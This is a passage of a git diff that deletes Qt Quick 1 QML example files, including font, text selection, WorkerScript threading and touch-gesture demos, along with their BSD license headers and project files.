GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - property string myText: "The quick brown fox jumps over the lazy dog." - - width: 800; height: 480 - color: "steelblue" - - FontLoader { id: fixedFont; name: "Courier" } - FontLoader { id: localFont; source: "fonts/tarzeau_ocr_a.ttf" } - FontLoader { id: webFont; source: "http://www.princexml.com/fonts/steffmann/Starburst.ttf" } - - Column { - anchors { fill: parent; leftMargin: 10; rightMargin: 10 } - spacing: 15 - - Text { - text: myText - color: "lightsteelblue" - width: parent.width - elide: Text.ElideRight - font.family: "Times"; font.pointSize: 42 - } - Text { - text: myText - color: "lightsteelblue" - width: parent.width - elide: Text.ElideLeft - font { family: "Times"; pointSize: 42; capitalization: Font.AllUppercase } - } - Text { - text: myText - color: "lightsteelblue" - width: parent.width - elide: Text.ElideMiddle - font { family: fixedFont.name; pointSize: 42; weight: Font.Bold; capitalization: Font.AllLowercase } - } - Text { - text: myText - color: "lightsteelblue" - width: parent.width - elide: Text.ElideRight - font { family: fixedFont.name; pointSize: 42; italic: true; capitalization: Font.SmallCaps } - } - Text { - text: myText - color: "lightsteelblue" - width: parent.width - elide: Text.ElideLeft - font { family: localFont.name; pointSize: 42; capitalization: Font.Capitalize } - } - Text { - text: { - if (webFont.status == FontLoader.Ready) myText - else if (webFont.status == FontLoader.Loading) "Loading..." - else if (webFont.status == FontLoader.Error) "Error loading font" - } - color: "lightsteelblue" - width: parent.width - elide: Text.ElideMiddle - font.family: webFont.name; font.pointSize: 42 - } - } -} diff --git a/examples/declarative/qtquick1/text/fonts/fonts.qmlproject b/examples/declarative/qtquick1/text/fonts/fonts.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/text/fonts/fonts.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/text/fonts/fonts/tarzeau_ocr_a.ttf b/examples/declarative/qtquick1/text/fonts/fonts/tarzeau_ocr_a.ttf deleted file mode 100644 index cf93f9651f..0000000000 Binary files a/examples/declarative/qtquick1/text/fonts/fonts/tarzeau_ocr_a.ttf and /dev/null differ diff --git a/examples/declarative/qtquick1/text/fonts/hello.qml b/examples/declarative/qtquick1/text/fonts/hello.qml deleted file mode 100644 index 167b1e8f84..0000000000 --- a/examples/declarative/qtquick1/text/fonts/hello.qml +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: screen - - width: 800; height: 480 - color: "black" - - Item { - id: container - x: screen.width / 2; y: screen.height / 2 - - Text { - id: text - anchors.centerIn: parent - color: "white" - text: "Hello world!" - font.pixelSize: 60 - smooth: true - - SequentialAnimation on font.letterSpacing { - loops: Animation.Infinite; - NumberAnimation { from: 0; to: 150; easing.type: Easing.InQuad; duration: 3000 } - ScriptAction { - script: { - container.y = (screen.height / 4) + (Math.random() * screen.height / 2) - container.x = (screen.width / 4) + (Math.random() * screen.width / 2) - } - } - } - - SequentialAnimation on opacity { - loops: Animation.Infinite; - NumberAnimation { from: 1; to: 0; duration: 2600 } - PauseAnimation { duration: 400 } - } - } - } -} diff --git a/examples/declarative/qtquick1/text/text.qmlproject b/examples/declarative/qtquick1/text/text.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/text/text.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/text/textselection/pics/endHandle.png b/examples/declarative/qtquick1/text/textselection/pics/endHandle.png deleted file mode 100644 index 1a4bc5d7a0..0000000000 Binary files a/examples/declarative/qtquick1/text/textselection/pics/endHandle.png and /dev/null differ diff --git a/examples/declarative/qtquick1/text/textselection/pics/endHandle.sci b/examples/declarative/qtquick1/text/textselection/pics/endHandle.sci deleted file mode 100644 index 4f51f24278..0000000000 --- a/examples/declarative/qtquick1/text/textselection/pics/endHandle.sci +++ /dev/null @@ -1,5 +0,0 @@ -border.left: 0 -border.top: 6 -border.bottom: 6 -border.right: 6 -source: endHandle.png diff --git a/examples/declarative/qtquick1/text/textselection/pics/startHandle.png b/examples/declarative/qtquick1/text/textselection/pics/startHandle.png deleted file mode 100644 index deedcd5c91..0000000000 Binary files a/examples/declarative/qtquick1/text/textselection/pics/startHandle.png and /dev/null differ diff --git a/examples/declarative/qtquick1/text/textselection/pics/startHandle.sci b/examples/declarative/qtquick1/text/textselection/pics/startHandle.sci deleted file mode 100644 index f9eae204c1..0000000000 --- a/examples/declarative/qtquick1/text/textselection/pics/startHandle.sci +++ /dev/null @@ -1,5 +0,0 @@ -border.left: 6 -border.top: 6 -border.bottom: 6 -border.right: 0 -source: startHandle.png diff --git a/examples/declarative/qtquick1/text/textselection/textselection.qml b/examples/declarative/qtquick1/text/textselection/textselection.qml deleted file mode 100644 index 43e9c2f806..0000000000 --- a/examples/declarative/qtquick1/text/textselection/textselection.qml +++ /dev/null @@ -1,289 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Rectangle { - id: editor - color: "lightGrey" - width: 640; height: 480 - - Rectangle { - color: "white" - anchors.fill: parent - anchors.margins: 20 - - BorderImage { - id: startHandle - source: "pics/startHandle.sci" - opacity: 0.0 - width: 10 - x: edit.positionToRectangle(edit.selectionStart).x - flick.contentX-width - y: edit.positionToRectangle(edit.selectionStart).y - flick.contentY - height: edit.positionToRectangle(edit.selectionStart).height - } - - BorderImage { - id: endHandle - source: "pics/endHandle.sci" - opacity: 0.0 - width: 10 - x: edit.positionToRectangle(edit.selectionEnd).x - flick.contentX - y: edit.positionToRectangle(edit.selectionEnd).y - flick.contentY - height: edit.positionToRectangle(edit.selectionEnd).height - } - - Flickable { - id: flick - - anchors.fill: parent - contentWidth: edit.paintedWidth - contentHeight: edit.paintedHeight - interactive: true - clip: true - - function ensureVisible(r) { - if (contentX >= r.x) - contentX = r.x; - else if (contentX+width <= r.x+r.width) - contentX = r.x+r.width-width; - if (contentY >= r.y) - contentY = r.y; - else if (contentY+height <= r.y+r.height) - contentY = r.y+r.height-height; - } - - TextEdit { - id: edit - width: flick.width - height: flick.height - focus: true - wrapMode: TextEdit.Wrap - - onCursorRectangleChanged: flick.ensureVisible(cursorRectangle) - - text: "

Text Selection

" - +"

This example is a whacky text selection mechanisms, showing how these can be implemented in the TextEdit element, to cater for whatever style is appropriate for the target platform." - +"

Press-and-hold to select a word, then drag the selection handles." - +"

Drag outside the selection to scroll the text." - +"

Click inside the selection to cut/copy/paste/cancel selection." - +"

It's too whacky to let you paste if there is no current selection." - - MouseArea { - property string drag: "" - property int pressPos - - x: -startHandle.width - y: 0 - width: parent.width+startHandle.width+endHandle.width - height: parent.height - - onPressAndHold: { - if (editor.state == "") { - edit.cursorPosition = edit.positionAt(mouse.x+x,mouse.y+y); - edit.selectWord(); - editor.state = "selection" - } - } - - onClicked: { - if (editor.state == "") { - edit.cursorPosition = edit.positionAt(mouse.x+x,mouse.y+y); - if (!edit.focus) - edit.focus = true; - edit.openSoftwareInputPanel(); - } - } - - function hitHandle(h,x,y) { - return x>=h.x+flick.contentX && x=h.y+flick.contentY && y= edit.selectionStart && pos <= edit.selectionEnd) { - drag = "selection" - flick.interactive = false - } else { - drag = "" - flick.interactive = true - } - } - } - } - - onReleased: { - if (editor.state == "selection") { - if (drag == "selection") { - editor.state = "menu" - } - drag = "" - } - flick.interactive = true - } - - onPositionChanged: { - if (editor.state == "selection" && drag != "") { - if (drag == "start") { - var pos = edit.positionAt(mouse.x+x+startHandle.width/2,mouse.y+y); - var e = edit.selectionEnd; - if (e < pos) - e = pos; - edit.select(pos,e); - } else if (drag == "end") { - var pos = edit.positionAt(mouse.x+x-endHandle.width/2,mouse.y+y); - var s = edit.selectionStart; - if (s > pos) - s = pos; - edit.select(s,pos); - } - } - } - } - } - } - - Item { - id: menu - opacity: 0.0 - width: 100 - height: 120 - anchors.centerIn: parent - - Rectangle { - border.width: 1 - border.color: "darkBlue" - radius: 15 - color: "#806080FF" - anchors.fill: parent - } - - Column { - anchors.centerIn: parent - spacing: 8 - - Rectangle { - border.width: 1 - border.color: "darkBlue" - color: "#ff7090FF" - width: 60 - height: 16 - - Text { anchors.centerIn: parent; text: "Cut" } - - MouseArea { - anchors.fill: parent - onClicked: { edit.cut(); editor.state = "" } - } - } - - Rectangle { - border.width: 1 - border.color: "darkBlue" - color: "#ff7090FF" - width: 60 - height: 16 - - Text { anchors.centerIn: parent; text: "Copy" } - - MouseArea { - anchors.fill: parent - onClicked: { edit.copy(); editor.state = "selection" } - } - } - - Rectangle { - border.width: 1 - border.color: "darkBlue" - color: "#ff7090FF" - width: 60 - height: 16 - - Text { anchors.centerIn: parent; text: "Paste" } - - MouseArea { - anchors.fill: parent - onClicked: { edit.paste(); edit.cursorPosition = edit.selectionEnd; editor.state = "" } - } - } - - Rectangle { - border.width: 1 - border.color: "darkBlue" - color: "#ff7090FF" - width: 60 - height: 16 - - Text { anchors.centerIn: parent; text: "Deselect" } - - MouseArea { - anchors.fill: parent - onClicked: { - edit.cursorPosition = edit.selectionEnd; - edit.deselect(); - editor.state = "" - } - } - } - } - } - } - - states: [ - State { - name: "selection" - PropertyChanges { target: startHandle; opacity: 1.0 } - PropertyChanges { target: endHandle; opacity: 1.0 } - }, - State { - name: "menu" - PropertyChanges { target: startHandle; opacity: 0.5 } - PropertyChanges { target: endHandle; opacity: 0.5 } - PropertyChanges { target: menu; opacity: 1.0 } - } - ] -} diff --git a/examples/declarative/qtquick1/text/textselection/textselection.qmlproject b/examples/declarative/qtquick1/text/textselection/textselection.qmlproject deleted file mode 100644 index ac8cfab8de..0000000000 --- a/examples/declarative/qtquick1/text/textselection/textselection.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "textselection.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/threading/threadedlistmodel/dataloader.js b/examples/declarative/qtquick1/threading/threadedlistmodel/dataloader.js deleted file mode 100644 index 4d2aab323d..0000000000 --- a/examples/declarative/qtquick1/threading/threadedlistmodel/dataloader.js +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// ![0] -WorkerScript.onMessage = function(msg) { - if (msg.action == 'appendCurrentTime') { - var data = {'time': new Date().toTimeString()}; - msg.model.append(data); - msg.model.sync(); // updates the changes to the list - } -} -// ![0] diff --git a/examples/declarative/qtquick1/threading/threadedlistmodel/threadedlistmodel.qmlproject b/examples/declarative/qtquick1/threading/threadedlistmodel/threadedlistmodel.qmlproject deleted file mode 100644 index e7c8e69f14..0000000000 --- a/examples/declarative/qtquick1/threading/threadedlistmodel/threadedlistmodel.qmlproject +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QmlProject 1.1 - -Project { - mainFile: "timedisplay.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/threading/threadedlistmodel/timedisplay.qml b/examples/declarative/qtquick1/threading/threadedlistmodel/timedisplay.qml deleted file mode 100644 index 84c68e954b..0000000000 --- a/examples/declarative/qtquick1/threading/threadedlistmodel/timedisplay.qml +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// ![0] -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 200 - height: 300 - - ListView { - anchors.fill: parent - model: listModel - delegate: Component { - Text { text: time } - } - - ListModel { id: listModel } - - WorkerScript { - id: worker - source: "dataloader.js" - } - - Timer { - id: timer - interval: 2000; repeat: true - running: true - triggeredOnStart: true - - onTriggered: { - var msg = {'action': 'appendCurrentTime', 'model': listModel}; - worker.sendMessage(msg); - } - } - } -} -// ![0] diff --git a/examples/declarative/qtquick1/threading/threading.qmlproject b/examples/declarative/qtquick1/threading/threading.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/threading/threading.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/threading/workerscript/workerscript.js b/examples/declarative/qtquick1/threading/workerscript/workerscript.js deleted file mode 100644 index f76471f920..0000000000 --- a/examples/declarative/qtquick1/threading/workerscript/workerscript.js +++ /dev/null @@ -1,15 +0,0 @@ -var lastx = 0; -var lasty = 0; - -WorkerScript.onMessage = function(message) { - var ydiff = message.y - lasty; - var xdiff = message.x - lastx; - - var total = Math.sqrt(ydiff * ydiff + xdiff * xdiff); - - lastx = message.x; - lasty = message.y; - - WorkerScript.sendMessage( {xmove: xdiff, ymove: ydiff, move: total} ); -} - diff --git a/examples/declarative/qtquick1/threading/workerscript/workerscript.qml b/examples/declarative/qtquick1/threading/workerscript/workerscript.qml deleted file mode 100644 index 50508c682d..0000000000 --- a/examples/declarative/qtquick1/threading/workerscript/workerscript.qml +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 480; height: 320 - - WorkerScript { - id: myWorker - source: "workerscript.js" - - onMessage: { - console.log("Moved " + messageObject.xmove + " along the X axis."); - console.log("Moved " + messageObject.ymove + " along the Y axis."); - console.log("Moved " + messageObject.move + " pixels."); - } - } - - Rectangle { - width: 200; height: 200 - anchors.left: parent.left; anchors.leftMargin: 20 - color: "red" - - MouseArea { - anchors.fill: parent - onClicked: myWorker.sendMessage( { rectangle: "red", x: mouse.x, y: mouse.y } ); - } - } - - Rectangle { - width: 200; height: 200 - anchors.right: parent.right; anchors.rightMargin: 20 - color: "blue" - - MouseArea { - anchors.fill: parent - onClicked: myWorker.sendMessage( { rectangle: "blue", x: mouse.x, y: mouse.y } ); - } - } - - Text { - text: "Click a Rectangle!" - anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 50 } - } -} diff --git a/examples/declarative/qtquick1/threading/workerscript/workerscript.qmlproject b/examples/declarative/qtquick1/threading/workerscript/workerscript.qmlproject deleted file mode 100644 index 6d7a91feeb..0000000000 --- a/examples/declarative/qtquick1/threading/workerscript/workerscript.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "workerscript.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/gestures/experimental-gestures.qml b/examples/declarative/qtquick1/touchinteraction/gestures/experimental-gestures.qml deleted file mode 100644 index 2f55e328d3..0000000000 --- a/examples/declarative/qtquick1/touchinteraction/gestures/experimental-gestures.qml +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import Qt.labs.gestures 1.0 - -// Only works on platforms with Touch support. - -Rectangle { - id: rect - width: 320 - height: 180 - - Text { - anchors.centerIn: parent - text: "Tap / TapAndHold / Pan / Pinch / Swipe\nOnly works on platforms with Touch support." - horizontalAlignment: Text.Center - } - - GestureArea { - anchors.fill: parent - focus: true - - // Only some of the many gesture properties are shown. See Gesture documentation. - - onTap: - console.log("tap pos = (",gesture.position.x,",",gesture.position.y,")") - onTapAndHold: - console.log("tap and hold pos = (",gesture.position.x,",",gesture.position.y,")") - onPan: - console.log("pan delta = (",gesture.delta.x,",",gesture.delta.y,") acceleration = ",gesture.acceleration) - onPinch: - console.log("pinch center = (",gesture.centerPoint.x,",",gesture.centerPoint.y,") rotation =",gesture.rotationAngle," scale =",gesture.scaleFactor) - onSwipe: - console.log("swipe angle=",gesture.swipeAngle) - onGesture: - console.log("gesture hot spot = (",gesture.hotSpot.x,",",gesture.hotSpot.y,")") - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/gestures/gestures.qmlproject b/examples/declarative/qtquick1/touchinteraction/gestures/gestures.qmlproject deleted file mode 100644 index cb17603891..0000000000 --- 